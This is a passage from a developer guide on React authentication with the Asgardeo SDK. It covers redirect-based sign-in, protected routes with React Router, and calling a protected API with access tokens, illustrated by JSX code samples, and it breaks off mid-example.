<div class="language-jsx codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-jsx codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword module" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token imports punctuation" style="color:#5A6072">{</span><span class="token imports"> </span><span class="token imports maybe-class-name" style="color:#0B1633;font-weight:600">SignedIn</span><span class="token imports punctuation" style="color:#5A6072">,</span><span class="token imports"> </span><span class="token imports maybe-class-name" style="color:#0B1633;font-weight:600">SignedOut</span><span class="token imports punctuation" style="color:#5A6072">,</span><span class="token imports"> </span><span class="token imports maybe-class-name" style="color:#0B1633;font-weight:600">SignInButton</span><span class="token imports punctuation" style="color:#5A6072">,</span><span class="token imports"> </span><span class="token imports maybe-class-name" style="color:#0B1633;font-weight:600">SignOutButton</span><span class="token imports punctuation" style="color:#5A6072">,</span><span class="token imports"> </span><span class="token imports maybe-class-name" style="color:#0B1633;font-weight:600">UserProfile</span><span class="token imports"> </span><span class="token imports punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword module" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'@asgardeo/react'</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword module" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'./App.css'</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">function</span><span class="token plain"> </span><span class="token function maybe-class-name" style="color:#0B1633;font-weight:600">App</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword control-flow" style="color:#1F4FFF">return</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token tag punctuation" style="color:#5A6072">&lt;</span><span class="token tag punctuation" style="color:#5A6072">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain-text">      </span><span class="token tag punctuation" style="color:#5A6072">&lt;</span><span class="token tag" style="color:#1F4FFF">header</span><span class="token tag punctuation" style="color:#5A6072">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain-text">        </span><span class="token tag punctuation" style="color:#5A6072">&lt;</span><span class="token tag class-name" style="color:#0B1633;font-weight:600">SignedIn</span><span class="token tag punctuation" style="color:#5A6072">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain-text">          </span><span class="token tag punctuation" style="color:#5A6072">&lt;</span><span class="token tag class-name" style="color:#0B1633;font-weight:600">SignOutButton</span><span class="token tag" style="color:#1F4FFF"> </span><span class="token tag punctuation" style="color:#5A6072">/&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain-text">        </span><span class="token tag punctuation" style="color:#5A6072">&lt;/</span><span class="token tag class-name" style="color:#0B1633;font-weight:600">SignedIn</span><span class="token tag punctuation" style="color:#5A6072">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain-text">        </span><span class="token tag punctuation" style="color:#5A6072">&lt;</span><span class="token tag class-name" style="color:#0B1633;font-weight:600">SignedOut</span><span class="token tag punctuation" style="color:#5A6072">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain-text">          </span><span class="token tag punctuation" style="color:#5A6072">&lt;</span><span class="token tag class-name" style="color:#0B1633;font-weight:600">SignInButton</span><span class="token tag" style="color:#1F4FFF"> </span><span class="token tag punctuation" style="color:#5A6072">/&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain-text">        </span><span class="token tag punctuation" style="color:#5A6072">&lt;/</span><span class="token tag class-name" style="color:#0B1633;font-weight:600">SignedOut</span><span class="token tag punctuation" style="color:#5A6072">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain-text">      </span><span class="token tag punctuation" style="color:#5A6072">&lt;/</span><span class="token tag" style="color:#1F4FFF">header</span><span class="token tag punctuation" style="color:#5A6072">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain-text">      </span><span class="token tag punctuation" style="color:#5A6072">&lt;</span><span class="token tag" style="color:#1F4FFF">main</span><span class="token tag punctuation" style="color:#5A6072">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain-text">        </span><span class="token tag punctuation" style="color:#5A6072">&lt;</span><span class="token tag class-name" style="color:#0B1633;font-weight:600">UserProfile</span><span class="token tag" style="color:#1F4FFF"> </span><span class="token tag punctuation" style="color:#5A6072">/&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain-text">      </span><span class="token tag punctuation" style="color:#5A6072">&lt;/</span><span class="token tag" style="color:#1F4FFF">main</span><span class="token tag punctuation" style="color:#5A6072">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain-text">    </span><span class="token tag punctuation" style="color:#5A6072">&lt;/</span><span class="token tag punctuation" style="color:#5A6072">&gt;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword module" style="color:#1F4FFF">export</span><span class="token plain"> </span><span class="token keyword module" style="color:#1F4FFF">default</span><span class="token plain"> </span><span class="token maybe-class-name" style="color:#0B1633;font-weight:600">App</span><br></span></code></pre></div></div>
<p>The detail worth internalizing is that sign-in is a redirect, not a function call that returns a user. Your component unmounts, the browser leaves, and your app boots again on the way back with a code in the URL. Any state you were holding is gone unless you deliberately preserved it, which is why "my form data disappeared after login" is such a common first bug.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="protecting-routes">Protecting routes<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication#protecting-routes" class="hash-link" aria-label="Direct link to Protecting routes" title="Direct link to Protecting routes" translate="no">​</a></h2>
<p>React protected routes are the most-copied pattern in React authentication and the least understood. Both React Router and TanStack Router give you the same primitive: a wrapper or loader that checks authentication state and redirects when it's absent.</p>
<p>The WSO2 SDK provides pluggable utilities that work with popular routing libraries such as React Router and TanStack Router. You can install one of these packages to secure the routes in your application by running one of the following commands:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">npm install react-router-dom @asgardeo/react-router</span><br></span></code></pre></div></div>
<p>In the following code, we use the <code>&lt;BrowserRouter&gt;</code>, <code>&lt;Routes&gt;</code>, and <code>&lt;Route&gt;</code> components to define the routing.</p>
<div class="language-jsx codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-jsx codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword module" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token imports punctuation" style="color:#5A6072">{</span><span class="token imports"> </span><span class="token imports maybe-class-name" style="color:#0B1633;font-weight:600">BrowserRouter</span><span class="token imports punctuation" style="color:#5A6072">,</span><span class="token imports"> </span><span class="token imports maybe-class-name" style="color:#0B1633;font-weight:600">Routes</span><span class="token imports punctuation" style="color:#5A6072">,</span><span class="token imports"> </span><span class="token imports maybe-class-name" style="color:#0B1633;font-weight:600">Route</span><span class="token imports"> </span><span class="token imports punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword module" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'react-router-dom'</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword module" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token imports punctuation" style="color:#5A6072">{</span><span class="token imports"> </span><span class="token imports maybe-class-name" style="color:#0B1633;font-weight:600">ProtectedRoute</span><span class="token imports"> </span><span class="token imports punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword module" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'@asgardeo/react-router'</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword module" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token imports maybe-class-name" style="color:#0B1633;font-weight:600">Dashboard</span><span class="token plain"> </span><span class="token keyword module" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'./pages/Dashboard'</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword module" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token imports maybe-class-name" style="color:#0B1633;font-weight:600">MyProfile</span><span class="token plain"> </span><span class="token keyword module" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'./pages/MyProfile'</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword module" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'./App.css'</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">function</span><span class="token plain"> </span><span class="token function maybe-class-name" style="color:#0B1633;font-weight:600">App</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword control-flow" style="color:#1F4FFF">return</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token tag punctuation" style="color:#5A6072">&lt;</span><span class="token tag" style="color:#1F4FFF">header</span><span class="token tag punctuation" style="color:#5A6072">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain-text">      </span><span class="token tag punctuation" style="color:#5A6072">&lt;</span><span class="token tag class-name" style="color:#0B1633;font-weight:600">BrowserRouter</span><span class="token tag punctuation" style="color:#5A6072">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain-text">        </span><span class="token tag punctuation" style="color:#5A6072">&lt;</span><span class="token tag class-name" style="color:#0B1633;font-weight:600">Routes</span><span class="token tag punctuation" style="color:#5A6072">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain-text">          </span><span class="token tag punctuation" style="color:#5A6072">&lt;</span><span class="token tag class-name" style="color:#0B1633;font-weight:600">Route</span><span class="token tag" style="color:#1F4FFF"> </span><span class="token tag attr-name" style="color:#1F4FFF">path</span><span class="token tag attr-value punctuation attr-equals" style="color:#5A6072">=</span><span class="token tag attr-value punctuation" style="color:#5A6072">"</span><span class="token tag attr-value" style="color:#15803D">/</span><span class="token tag attr-value punctuation" style="color:#5A6072">"</span><span class="token tag" style="color:#1F4FFF"> </span><span class="token tag attr-name" style="color:#1F4FFF">element</span><span class="token tag script language-javascript script-punctuation punctuation" style="color:#5A6072">=</span><span class="token tag script language-javascript punctuation" style="color:#5A6072">{</span><span class="token tag script language-javascript tag punctuation" style="color:#5A6072">&lt;</span><span class="token tag script language-javascript tag class-name" style="color:#0B1633;font-weight:600">Dashboard</span><span class="token tag script language-javascript tag" style="color:#1F4FFF"> </span><span class="token tag script language-javascript tag punctuation" style="color:#5A6072">/&gt;</span><span class="token tag script language-javascript punctuation" style="color:#5A6072">}</span><span class="token tag" style="color:#1F4FFF"> </span><span class="token tag punctuation" style="color:#5A6072">/&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain-text">          </span><span class="token tag punctuation" style="color:#5A6072">&lt;</span><span class="token tag class-name" style="color:#0B1633;font-weight:600">Route</span><span class="token tag" style="color:#1F4FFF"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token tag" style="color:#1F4FFF">            </span><span class="token tag attr-name" style="color:#1F4FFF">path</span><span class="token tag attr-value punctuation attr-equals" style="color:#5A6072">=</span><span class="token tag attr-value punctuation" style="color:#5A6072">"</span><span class="token tag attr-value" style="color:#15803D">/profile</span><span class="token tag attr-value punctuation" style="color:#5A6072">"</span><span class="token tag" style="color:#1F4FFF"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token tag" style="color:#1F4FFF">            </span><span class="token tag attr-name" style="color:#1F4FFF">element</span><span class="token tag script language-javascript script-punctuation punctuation" style="color:#5A6072">=</span><span class="token tag script language-javascript punctuation" style="color:#5A6072">{</span><span class="token tag script language-javascript" style="color:#1F4FFF"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token tag script language-javascript" style="color:#1F4FFF">              </span><span class="token tag script language-javascript tag punctuation" style="color:#5A6072">&lt;</span><span class="token tag script language-javascript tag class-name" style="color:#0B1633;font-weight:600">ProtectedRoute</span><span class="token tag script language-javascript tag punctuation" style="color:#5A6072">&gt;</span><span class="token tag script language-javascript plain-text" style="color:#1F4FFF"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token tag script language-javascript plain-text" style="color:#1F4FFF">                </span><span class="token tag script language-javascript tag punctuation" style="color:#5A6072">&lt;</span><span class="token tag script language-javascript tag class-name" style="color:#0B1633;font-weight:600">MyProfile</span><span class="token tag script language-javascript tag" style="color:#1F4FFF"> </span><span class="token tag script language-javascript tag punctuation" style="color:#5A6072">/&gt;</span><span class="token tag script language-javascript plain-text" style="color:#1F4FFF"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token tag script language-javascript plain-text" style="color:#1F4FFF">              </span><span class="token tag script language-javascript tag punctuation" style="color:#5A6072">&lt;/</span><span class="token tag script language-javascript tag class-name" style="color:#0B1633;font-weight:600">ProtectedRoute</span><span class="token tag script language-javascript tag punctuation" style="color:#5A6072">&gt;</span><span class="token tag script language-javascript" style="color:#1F4FFF"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token tag script language-javascript" style="color:#1F4FFF">            </span><span class="token tag script language-javascript punctuation" style="color:#5A6072">}</span><span class="token tag" style="color:#1F4FFF"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token tag" style="color:#1F4FFF">          </span><span class="token tag punctuation" style="color:#5A6072">/&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain-text">        </span><span class="token tag punctuation" style="color:#5A6072">&lt;/</span><span class="token tag class-name" style="color:#0B1633;font-weight:600">Routes</span><span class="token tag punctuation" style="color:#5A6072">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain-text">      </span><span class="token tag punctuation" style="color:#5A6072">&lt;/</span><span class="token tag class-name" style="color:#0B1633;font-weight:600">BrowserRouter</span><span class="token tag punctuation" style="color:#5A6072">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain-text">    </span><span class="token tag punctuation" style="color:#5A6072">&lt;/</span><span class="token tag" style="color:#1F4FFF">header</span><span class="token tag punctuation" style="color:#5A6072">&gt;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword module" style="color:#1F4FFF">export</span><span class="token plain"> </span><span class="token keyword module" style="color:#1F4FFF">default</span><span class="token plain"> </span><span class="token maybe-class-name" style="color:#0B1633;font-weight:600">App</span><br></span></code></pre></div></div>
<p>Preserving the intended destination is the part most implementations skip. If a user lands on a deep link, gets bounced to sign-in, and then arrives at your dashboard instead of the page they wanted, the flow technically works and still feels broken.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="calling-a-protected-api-from-react">Calling a protected API from React<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication#calling-a-protected-api-from-react" class="hash-link" aria-label="Direct link to Calling a protected API from React" title="Direct link to Calling a protected API from React" translate="no">​</a></h2>
<p>Signing in is not the feature. The feature is the dashboard that lists this user's orders, the settings page that writes to this user's profile, and the export button only some accounts are allowed to press. React runs in the browser with no database connection of its own, so every one of those screens is an HTTP request to an API that has to decide whether to answer. Most React authentication guides stop at the login button, which is the point where the real work starts.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="who-is-responsible-for-what">Who is responsible for what<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication#who-is-responsible-for-what" class="hash-link" aria-label="Direct link to Who is responsible for what" title="Direct link to Who is responsible for what" translate="no">​</a></h3>
<p>There are two sides to every authenticated request, and only one of them enforces anything.</p>
<table><thead><tr><th>Responsibility</th><th>Your React app</th><th>Your API</th></tr></thead><tbody><tr><td>Obtain an access token for the signed-in user</td><td>Yes</td><td>No</td></tr><tr><td>Send it as an <code>Authorization: Bearer</code> header</td><td>Yes</td><td>No</td></tr><tr><td>Validate the token signature</td><td>No</td><td>Yes</td></tr><tr><td>Check the issuer, the audience, and expiry</td><td>No</td><td>Yes</td></tr><tr><td>Check the token carries the required scope</td><td>No</td><td>Yes</td></tr><tr><td>Decide whether this user may do this</td><td>No</td><td>Yes</td></tr><tr><td>Render the result</td><td>Yes</td><td>No</td></tr></tbody></table>
<p>The React column is transport. The API column is a decision. Your app proves who is asking, and your API works out what that person gets, by validating the token's signature against the provider's published signing keys, confirming the issuer and audience match what it expects, confirming the token has not expired, and confirming it carries the scope this endpoint requires. An API that skips those checks makes every other section of this guide irrelevant, because then an attacker can present a token you never issued.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-id-token-is-not-the-access-token">The ID token is not the access token<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication#the-id-token-is-not-the-access-token" class="hash-link" aria-label="Direct link to The ID token is not the access token" title="Direct link to The ID token is not the access token" translate="no">​</a></h3>
<p>This is the most common bug in this part of the stack, and it deserves naming plainly because it usually ships undetected. Authentication returns two tokens and they have different audiences.</p>
<p>The ID token is about the user and it is for your application. It tells you who signed in and carries their claims, so decode it to render a name, an avatar, or a role-conditional menu. The access token is for your API. It is the credential your app presents to prove it may act on the user's behalf.</p>
<p>Sending an ID token to your API is wrong even on the days it appears to work. The ID token's audience is your React client and not your API, so an API that validates the audience correctly rejects it, and an API that accepts it has just told you it does not check. The SDK keeps the two apart on purpose: getIdToken and getDecodedIdToken return the identity, and getAccessToken returns the credential for the call.</p>
<p>There are three ways to attach a token to a request, and they are really three stages of the same realization.</p>
<p>The first is manual. You read the access token, build the header yourself, and call fetch. It works, it is what you would write against any OpenID Connect provider, and it is worth writing once so the mechanism is not magic. It is also where the bugs breed, because the moment you have a second component you have two copies of the expiry handling.</p>
<p>The second is a shared client. One module owns the token, attaches the header, and handles a 401 in a single place. Every application that starts with the first approach arrives here eventually.</p>
<p>The third is to use the client your SDK already ships, which is the second approach written for you. useAsgardeo returns an http object, and http.request attaches Authorization: Bearer with the current access token automatically, so a call looks close to the fetch you already write. There is also http.requestAll for firing several requests together.</p>
<div class="language-jsx codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-jsx codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword module" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token imports punctuation" style="color:#5A6072">{</span><span class="token imports"> useState </span><span class="token imports punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword module" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'react'</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword module" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token imports punctuation" style="color:#5A6072">{</span><span class="token imports"> useAsgardeo </span><span class="token imports punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword module" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'@asgardeo/react'</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">function</span><span class="token plain"> </span><span class="token function maybe-class-name" style="color:#0B1633;font-weight:600">MyProfile</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> http</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> isSignedIn </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">useAsgardeo</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">[</span><span class="token plain">userData</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> setUserData</span><span class="token punctuation" style="color:#5A6072">]</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">useState</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token keyword null nil" style="color:#C43300">null</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> </span><span class="token function-variable function" style="color:#0B1633;font-weight:600">getProfile</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">async</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token arrow operator">=&gt;</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> response </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword control-flow" style="color:#1F4FFF">await</span><span class="token plain"> http</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token method function property-access" style="color:#0B1633;font-weight:600">request</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token literal-property property" style="color:#1F4FFF">url</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'https://api.asgardeo.io/t/your-organization-name/scim2/Me'</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token literal-property property" style="color:#1F4FFF">method</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'GET'</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token literal-property property" style="color:#1F4FFF">headers</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">        </span><span class="token string-property property" style="color:#1F4FFF">'Accept'</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'application/json'</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">        </span><span class="token string-property property" style="color:#1F4FFF">'Content-Type'</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'application/scim+json'</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token function" style="color:#0B1633;font-weight:600">setUserData</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">response</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token property-access">data</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword control-flow" style="color:#1F4FFF">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token operator">!</span><span class="token plain">isSignedIn</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword control-flow" style="color:#1F4FFF">return</span><span class="token plain"> </span><span class="token tag punctuation" style="color:#5A6072">&lt;</span><span class="token tag" style="color:#1F4FFF">div</span><span class="token tag punctuation" style="color:#5A6072">&gt;</span><span class="token plain-text">Please sign in to view your profile.</span><span class="token tag punctuation" style="color:#5A6072">&lt;/</span><span class="token tag" style="color:#1F4FFF">div</span><span class="token tag punctuation" style="color:#5A6072">&gt;</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword control-flow" style="color:#1F4FFF">return</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token tag punctuation" style="color:#5A6072">&lt;</span><span class="token tag" style="color:#1F4FFF">div</span><span class="token tag punctuation" style="color:#5A6072">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain-text">      </span><span class="token tag punctuation" style="color:#5A6072">&lt;</span><span class="token tag" style="color:#1F4FFF">h2</span><span class="token tag punctuation" style="color:#5A6072">&gt;</span><span class="token plain-text">My Profile</span><span class="token tag punctuation" style="color:#5A6072">&lt;/</span><span class="token tag" style="color:#1F4FFF">h2</span><span class="token tag punctuation" style="color:#5A6072">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain-text">      </span><span class="token tag punctuation" style="color:#5A6072">&lt;</span><span class="token tag" style="color:#1F4FFF">button</span><span class="token tag" style="color:#1F4FFF"> </span><span class="token tag attr-name" style="color:#1F4FFF">onClick</span><span class="token tag script language-javascript script-punctuation punctuation" style="color:#5A6072">=</span><span class="token tag script language-javascript punctuation" style="color:#5A6072">{</span><span class="token tag script language-javascript" style="color:#1F4FFF">getProfile</span><span 